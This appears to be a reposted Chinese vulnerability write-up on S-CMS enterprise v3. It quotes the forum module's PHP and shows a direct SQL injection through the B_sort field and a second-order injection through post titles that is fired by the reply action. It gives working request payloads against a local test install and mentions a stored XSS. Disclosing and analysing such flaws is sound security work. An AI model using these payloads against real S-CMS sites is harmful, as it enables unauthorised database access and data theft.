主頁(yè) > 知識(shí)庫(kù) > S-CMS企建v3二次SQL注入的方法

S-CMS企建v3二次SQL注入的方法

熱門(mén)標(biāo)簽:智能電銷(xiāo)機(jī)器人廣告語(yǔ) 強(qiáng)訊外呼系統(tǒng) 貴陽(yáng)ai外呼系統(tǒng) crm外呼系統(tǒng)好不好 重慶人工智能電銷(xiāo)機(jī)器人報(bào)價(jià) 電話機(jī)器人批發(fā) 電銷(xiāo)外呼線路改不外呼線路 長(zhǎng)春極信防封電銷(xiāo)卡公司 愛(ài)巢地圖標(biāo)注

0x01 前言

繼上一篇的S-CMS漏洞再來(lái)一波!首發(fā)T00ls

0x2 目錄

Sql注入二次SQL注入

0x03 Sql注入

漏洞文件:\scms\bbs\bbs.php

$action=$_GET["action"];
$S_id=$_GET["S_id"];
if($action=="add"){
$B_title=htmlspecialchars($_POST["B_title"]);
$B_sort=$_POST["B_sort"];
$B_content=htmlspecialchars($_POST["B_content"]);
$S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh");
if($S_sh==1){
$B_sh=0;
}else{
$B_sh=1;
}
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")");
$sql="Select * from SL_bbs order by B_id desc limit 1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_id=$row["B_id"];
 }

相對(duì)來(lái)說(shuō)這個(gè)注入比較簡(jiǎn)單,$B_sort 無(wú)過(guò)濾直接從POST獲取,然而在SELECT查詢(xún)的時(shí)候使用了intval函數(shù)來(lái)過(guò)濾變量。不過(guò)后面在insert的時(shí)候卻沒(méi)有任何過(guò)濾(無(wú)單引號(hào)包含)導(dǎo)致sql注入。

漏洞驗(yàn)證:

—Payload:

——http://127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=test&B_content=test11&B_sort=1 and sleep(5)

$debug調(diào)試信息:

Insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('test','test11','2018-12-08 14:21:25',17,1 and sleep(5),0)

0x04 二次注入

漏洞文件:

\scms\bbs\bbs.php

\scms\bbs\item.php

先看一下漏洞觸發(fā)點(diǎn):

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
 $result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);
 if (mysqli_num_rows($result) > 0) {
 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
 $S_title=lang($row["S_title"]);
 $B_view=$row["B_view"];
 $M_login=$row["M_login"];
 $M_pic=$row["M_pic"];
 $L_title=$row["L_title"];
 }
if(substr($M_pic,0,4)!="http"){
$M_pic="../media/".$M_pic;
}
$sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id;

$result2 = mysqli_query($conn, $sql2);
$row2 = mysqli_fetch_assoc($result2);
$B_count=$row2["B_count"];
if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復(fù)成功!","item.php?id=".$id,"success");
}

簡(jiǎn)單說(shuō)一下邏輯,第一步執(zhí)行的sql語(yǔ)句是查詢(xún)帖子的詳細(xì)內(nèi)容($id帖子id)

$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;

然后把查詢(xún)到的內(nèi)容各自賦給一個(gè)變量

 $B_title=lang($row["B_title"]);
 $B_content=lang($row["B_content"]);
 $B_time=$row["B_time"];
 $B_sort=$row["B_sort"];
..............................

到后面判斷$action=="reply",進(jìn)入回復(fù)帖子功能處

if($action=="reply"){
$B_contentx=$_POST["B_content"];
$debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回復(fù)]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")");
box("回復(fù)成功!","item.php?id=".$id,"success");
}

可以看到$B_contentx=$_POST["B_content"]無(wú)過(guò)濾,這里會(huì)觸發(fā)儲(chǔ)存xss漏洞。然而這個(gè)不是重點(diǎn),繼續(xù)看執(zhí)行的insert語(yǔ)句,發(fā)現(xiàn)$B_title等變量都拼接了進(jìn)來(lái),沒(méi)有sql過(guò)濾,而這些變量是從數(shù)據(jù)庫(kù)查詢(xún)出來(lái)的(帖子的標(biāo)題等),然而回過(guò)頭去看上面的sql注入,不就是發(fā)帖功能的地方么。所以這些變量可控,導(dǎo)致二次sql注入。

漏洞觸發(fā)流程:

—首先我們?nèi)グl(fā)帖B_title的值是我們的payload,還有其他的值

——B_title=',(select user()),'',1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1

—然后我們?nèi)カ@取帖子id,這個(gè)沒(méi)有特別好的辦法只能去摸索著找,可以先根據(jù)樓層判斷一共有多少帖子,然后一點(diǎn)一點(diǎn)的往后找,根據(jù)內(nèi)容判斷是否是我們發(fā)布的帖子

——http://127.0.0.1//scms/bbs/item.php?id=帖子id

—獲取到帖子后去觸發(fā)漏洞

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id

——B_content=test

—這里我說(shuō)一下payload為什么是這樣的,這樣構(gòu)造完全是為了達(dá)到回顯注入,因?yàn)楹竺娲蛴』貜?fù)內(nèi)容的時(shí)候執(zhí)行的sql注入是

——$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";

—而B(niǎo)_sub可控(在Insert的時(shí)候插入的),這樣我們就能直接獲取回顯。

漏洞演示:

—Payload1

——127.0.0.1/scms/bbs/bbs.php?action=add

——B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1

—Payload2

——獲取帖子id

——http://127.0.0.1//scms/bbs/item.php?id=30

—Payload3

——http://127.0.0.1//scms/bbs/item.php?action=reply&id=30

——B_content=test

執(zhí)行完成!最后我們就可以去訪問(wèn)我們的回復(fù)然后拿到回顯。http://127.0.0.1//scms/bbs/item.php?id=666這次id參數(shù)指向的是我們填的B_sub值

0x05 結(jié)束語(yǔ)

以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

標(biāo)簽:山南 陜西 吳忠 清遠(yuǎn) 上海 廣安 內(nèi)蒙古 保定

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《S-CMS企建v3二次SQL注入的方法》,本文關(guān)鍵詞  S-CMS,企建,二次,SQL,注入,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《S-CMS企建v3二次SQL注入的方法》相關(guān)的同類(lèi)信息!
  • 本頁(yè)收集關(guān)于S-CMS企建v3二次SQL注入的方法的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章